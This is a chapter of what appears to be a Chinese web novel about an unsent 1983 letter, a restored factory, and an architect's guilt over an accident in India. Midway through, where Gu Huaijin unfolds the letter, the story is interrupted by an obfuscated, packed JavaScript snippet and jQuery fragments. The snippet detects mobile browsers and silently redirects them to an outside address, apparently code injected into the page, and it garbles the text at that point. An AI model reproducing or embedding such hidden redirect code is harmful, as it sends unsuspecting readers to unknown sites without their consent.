赵秀英的弟弟叫赵秀文，七十六岁，穿一件洗得发白的蓝色中山装，手里提着一个老式藤编箱子。他在工地门口站了很久，直到李阿姨认出他，惊呼着跑过去。


    “秀文？你怎么来了？”


    老人有些拘谨地笑了笑：“听说厂子在改，秀英的东西……想着该送过来。”


    林溪闻声赶来。赵秀文看见这个年轻人，上下打量：“你就是林工？”


    “我是。您是……”


    “我是秀英的弟弟。”老人打开藤箱，里面整整齐齐码着东西：几本相册，一卷奖状，几件老物件，还有——一个牛皮纸信封，封口用胶水粘着，上面写着“顾怀远同志亲启”。


    林溪的呼吸停了一瞬。那字迹他认得，是赵秀英的。


    “这封信……”他声音发紧。


    “没寄出去。”赵秀文轻声说，“秀英一直收着。去世前一个月，她突然把这封信拿出来，说要烧了。我劝她别烧，她就说‘那等合适的人来’。”


    老人把信递给林溪：“我觉得，你就是那个合适的人。”


    信封很轻，但林溪拿在手里，觉得重如千钧。封口的胶水已经干透发黄，能看出年月。邮戳栏是空的——这封信从未踏上过邮路。


    “我能……打开吗？”他问。


    赵秀文沉默了一会儿，点头：“看吧。人都走了这么多年了。”


    李阿姨端来椅子，三人在槐树下坐下。林溪小心地撕开封口——胶水已经失去黏性，很容易就开了。


    里面只有一张信纸，对折着。展开，是赵秀英娟秀的钢笔字：


    “怀远同志：


    见字如晤。


    今天收到你从山区寄来的照片，新学校建成了，窗子很大，孩子们的笑脸很亮。你说：‘这里的阳光终于有地方住了。’我看着照片，哭了又笑。


    厂里的技术改造方案又被否决了。厂长说，老厂房撑不了几年，没必要投钱。我不服，自己画了完整的排水系统图，算了很多数据。虽然可能永远用不上，但我想，万一呢？万一有一天，有人需要它呢？


    你总说我该去上大学。我知道我去不了了，但我想，也许我能在这里建一所‘大学’——不是有文凭的那种，是让每个想学的人都能学的那种。我把车间图纸改成了教室图纸，窗子也画得很大，因为记得你说过：‘阳光宝贵。’


    这封信大概永远不会寄出。有些话，说出来就轻了，不如放在心里，让它沉甸甸的，提醒自己为什么坚持。


    你曾问我为什么留在厂里。现在我想回答：因为这里有我的根，有我的梦，有我和很多人一起流过的汗。房子会老，机器会锈，但有些东西，锈不掉。


    愿你建的每栋房子，都住满了阳光。


    赵秀英


    1983年秋”


    信纸的右下角，有一小块水渍晕开的痕迹——是泪水，还是当年的雨水？已经分不清了。


    林溪读完，久久说不出话。秋风吹过，槐树的叶子沙沙作响，几片黄叶飘落，落在信纸上。


    李阿姨已经泣不成声。赵秀文低着头，肩膀微微颤抖。


    “她从来没说过……”李阿姨哽咽，“从来没说过这些……”


    “她就是这样的人。”赵秀文轻声说，“什么都放在心里。”


    林溪小心地折好信纸，放回信封。这封未寄出的信，像一枚时间的胶囊，封存了一个女人二十岁到四十五岁的心事。


    “这封信，”他问，“可以留在厂房吗？作为展览的一部分。”


    赵秀文点头：“秀英会愿意的。”


    “那顾工那边……”


    “顾工有个儿子，我知道。”老人忽然说，“秀英去世前几年，有一次在报纸上看到他的名字——顾怀瑾，建筑师。她剪下那篇报道，夹在日记本里。”


    林溪怔住。赵秀英知道顾怀瑾的存在？她默默关注着故人之子？


    赵秀文从藤箱里又拿出一本剪报本。翻开，里面全是关于建筑、关于旧城改造的报道。其中一页，赫然是顾怀瑾十年前获奖的照片——年轻，锐利，眼神坚定。


    照片旁边，赵秀英用铅笔写着一行小字：


    “像他父亲一样，在盖有光的房子。”


    林溪的手指抚过那行字。铅笔的痕迹很淡，但每一个笔画都清晰。


    就在这时，他的手机响了。是顾怀瑾。


    接通，背景音很嘈杂，有汽车声，有人声。


    “你在哪？”林溪问。


    “医院。”顾怀瑾的声音很平静，“复查。刚结束。”


    “结果怎么样？”


    “需要再休息一周。”顿了顿，“另外，我接到一个电话。从印度打来的。”


    林溪的心提了起来：“那个人……？”


    “嗯。当年事故的目击者，终于愿意说了。”顾怀瑾的声音里有一种奇异的疲惫，“林溪，你现在能过来吗？我想……你在场。”


    这是第一次，顾怀瑾主动要求他在场面对私人事务。


    “我马上到。”


    挂断电话，林溪向两位老人说明情况。赵秀文把藤箱交给他：“这些都留在这儿吧。秀英的东西，该在这里。”


    林溪郑重接过。


    去医院的路上，他抱着那个藤箱，像抱着一段沉甸甸的历史。箱子里，有未寄出的信，有泛黄的剪报，有一个女人未竟的梦，和一场跨越两代人的守望。


    医院走廊里，顾怀瑾坐在长椅上，手里拿着一份文件。看见林溪，他抬起头。


    林溪把藤箱放在旁边，坐下，什么也没说，只是安静地陪着他。


    许久，顾怀瑾开口：“十年前在印度，那个贫民窟改造项目，我太激进了。”


    他的声音很轻，像在自言自语：“我想用最便宜的材料，做最好的设计。想证明给所有人看，穷人也配住好房子。但忽略了当地的气候，忽略了施工条件，忽略了……人的习惯。”


    他翻开文件，里面是英文的报告和照片。


    “临时结构塌了，不是因为设计问题，是因为材料被偷换了。”顾怀瑾说，“承包商为了多赚钱，用了不合格的钢材。我知道，但我没有坚持检查。因为工期紧，因为预算不够，因为……我想快点证明自己。”


    照片上，坍塌的脚手架，散落的砖块，还有——一滩已经发黑的血迹。


    “受伤的不只我一个。还有一个当地工人，腿断了，因为没钱治疗，感染，截肢了。”顾怀瑾闭上眼睛，“他今年才四十岁，只能靠拐杖走路。十年了，他今天才愿意接我电话。”


    林溪握住那份文件，纸张的边缘割得手指生疼。


    “他说什么？”


    “说他原谅我。”顾怀瑾的声音发颤，“说他现在开了个小杂货铺，过得还行。说他记得我想给他们建好房子，虽然房子没建成，但那份心，他记得。”


    走廊的日光灯发出细微的嗡鸣声。远处有婴儿的啼哭，有护士匆匆的脚步声。


    顾怀瑾睁开眼睛，眼里有血丝，但很清澈。


    “这十年，我一直在想，我到底在为什么建房子。”他看向林溪，“为了奖项？为了证明什么？还是为了……像那个人说的，为了那份心？”


    林溪把藤箱推到他面前：“打开看看。”


    顾怀瑾疑惑地打开。先是看到那些老物件，然后看到剪报本，看到那张自己的照片，看到那行铅笔字。


    他的手指停在“像他父亲一样，在盖有光的房子”那行字上，很久很久。


    然后，他看见了那封信。


    “这是……”


    “赵秀英写给令尊的。没寄出。”林溪轻声说，“她一直在关注你。”


    ”


    顾怀瑾小心地抽出信纸，展开。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193493|197102||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他读得很慢，每一个字都像在舌尖停留。读到“阳光宝贵”时，他的手指微微颤抖。读到“锈不掉”时，他闭上眼睛，深深吸气。


    读完，他把信纸按在心口，仰头靠着墙壁。


    日光灯的光落在他脸上，照亮眼角一闪而过的水光。


    “所以，”他轻声说，“这就是答案。”


    林溪安静地坐着。有些时刻，语言是多余的。


    许久，顾怀瑾把信纸小心折好，放回信封。他转向林溪，眼神里有种林溪从未见过的释然。


    “你知道我爸晚年，为什么总画坡屋顶的房子吗？”


    林溪摇头。


    “因为他小时候住的房子，就是坡屋顶的。”顾怀瑾说，“他说，下雨的时候，雨顺着瓦片流下来，声音特别好听。天晴的时候，阳光从老虎窗斜射进来，能看见灰尘在光里跳舞。”


    他的声音很温柔：“他忘了我的名字，忘了一加一等于几，但记得那种光，那种声音。所以他就画，一遍一遍地画。”


    “赵秀英记得他说‘阳光宝贵’。”林溪说，“记了一辈子。”


    “是啊。”顾怀瑾微笑——那种真实的、不设防的微笑，“有些人，有些话，就是能记一辈子。”


    他把藤箱合上，轻轻拍了拍箱盖。


    “这些，要放在厂房最中心的位置。”他说，“不是作为展品，是作为……这座建筑的灵魂。”


    林溪点头：“我也是这么想的。”


    窗外，夕阳西下，把医院的白墙染成暖金色。


    顾怀瑾站起来：“走吧。回工地看看今天的进度。”


    “你的伤——”


    “走路没问题。”他拿起藤箱，“而且，我想去看看那棵树。还有那些钢梁。”


    他们并肩走出医院。夕阳把影子投在地上，一长一短，紧紧依偎。


    回工地的车上，顾怀瑾一直抱着那个藤箱。林溪从后视镜里看见，他的手指轻轻摩挲着藤条编织的纹理，像在触摸一段鲜活的历史。


    到达工地时，天已擦黑。但厂房里灯火通明——老陈带着工人们在加班，进行第二天的吊装准备。


    看见顾怀瑾，工人们都围过来。


    “顾总，您怎么来了？”


    “来看看。”顾怀瑾仰头看着那些新架起的钢梁，“做得很好。”


    他在厂房里慢慢走着，触摸新浇筑的混凝土，检查钢结构的焊缝，倾听导流渠的水声。最后，他走到槐树下。


    树上新发的嫩叶在晚风中轻摇。树干上的刻字，在灯光下依稀可见。


    顾怀瑾伸手，轻轻抚摸那些字痕。


    然后，他转向林溪：“那封信，可以让我保管一阵子吗？”


    “当然。”


    “我想……去我爸墓前，读给他听。”顾怀瑾的声音很轻，“虽然可能有点晚了，但……他应该听到。”


    林溪感到鼻子发酸：“不晚。任何时候都不晚。”


    夜色渐深。工人们陆续收工。厂房里，只剩下他们两人，和满室的灯光。


    顾怀瑾站在厂房中央，环顾四周。新与旧，钢与砖，光与影，在这个空间里达成了完美的平衡。


    “林溪，”他忽然说，“谢谢你。”


    “谢我什么？”


    “谢谢你找到这些。谢谢你……让我看见。”


    林溪摇头：“不是我找到的。是它们一直在等，等一个愿意看见的人。”


    顾怀瑾看着他。灯光落在他眼里，像落进了深潭，漾开温柔的涟漪。


    “那么，”他轻声说，“我很庆幸，那个人是你。”


    晚风吹过厂房，带来远处城市的喧嚣，也带来近处导流渠的潺潺水声。


    在这个由记忆、钢铁、光线和水流构成的空间里，两个时代悄然相遇。


    而有些人，终于可以放下一些重量，拾起另一些光。